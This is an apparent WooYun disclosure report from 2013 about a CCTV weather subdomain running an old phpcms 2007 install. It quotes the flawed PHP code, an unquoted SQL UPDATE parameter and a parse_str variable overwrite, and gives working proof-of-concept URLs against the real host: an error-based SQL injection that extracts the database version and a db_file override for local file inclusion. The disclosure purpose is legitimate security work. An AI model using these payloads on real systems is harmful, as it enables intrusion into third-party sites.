当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022217

漏洞标题:CCTV分站SQL注入+本地文件包含(phpcms某版本新漏洞)

相关厂商:中国网络电视台

漏洞作者: b4dboy

提交时间:2013-04-20 23:33

修复时间:2013-06-04 23:34

公开时间:2013-06-04 23:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-20: 细节已通知厂商并且等待厂商处理中
2013-04-22: 厂商已经确认,细节仅向厂商公开
2013-05-02: 细节向核心白帽子及相关领域专家公开
2013-05-12: 细节向普通白帽子公开
2013-05-22: 细节向实习白帽子公开
2013-06-04: 细节向公众公开

简要描述:

某分站残留着一套老程序。

详细说明:

  下午去参加了乌云和广测举办的沙龙观望了各种大牛,回来的时候赶上了暴雨那叫一个湿身呀,于是晚上就搜索了下最近的天气接着就点进了cctv的天气频道。
  
  在天气频道的cms目录下发现还残留着一套phpcms 2007。这可是一个相当老的版本呀,说不定可以刷点乌云币呢(PS:沙龙上听说乌云币过200的就能找到月薪8k的工作)。
  
  搜索了一些phpcms 2007的漏洞测试均没有成功而且他这个也删掉了很多模块,xday行不通就只能用0day啦,嘎嘎。下载了一套phpcms 2007进行分析,在module\movie\onunload.inc.php里发现了一个update型的注入。

<?php 
defined('IN_PHPCMS') or exit('Access Denied');
$serverid ? 1 : showmessage($LANG['illegal_operation']);
$db->query("UPDATE ".TABLE_MOVIE_SERVER." SET `num` = (num-1) WHERE serverid = $serverid AND num > 0 ");
?>


$serverid没有进行任何过滤也没有用单引号括起来,所以无视gpc。
核心文件include\common.inc.php里大概80左右变量覆盖漏洞。

if($PHP_QUERYSTRING && preg_match("/^(.*)\.(htm|html|shtm|shtml)$/", $PHP_QUERYSTRING, $urlvar))
{
parse_str(str_replace(array('/', '-', ' '), array('&', '=', ''), $urlvar[1]));
}


这个判断太弱了,判断querystring是不是等于静态文件后缀,结尾随便加个参数赋个静态文件的值就过了,经过parse_str就产生了。
漏洞太多了不继续分析了。

漏洞证明:

http://weather.cctv.com/cms/movie/onunload.php?serverid=1+and+exists%28select*from+%28select*from%28select+name_const%28@@version,0%29%29a+join+%28select+name_const%28@@version,0%29%29b%29c%29

11.png


http://weather.cctv.com/cms/movie/onunload.php?serverid=1&db_file=b4dboy&x.htm

修复方案:

建议下架掉这套残留程序

版权声明:转载请注明来源 b4dboy@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2013-04-22 09:52

厂商回复:

感谢,我们将尽快整改。

最新状态:

暂无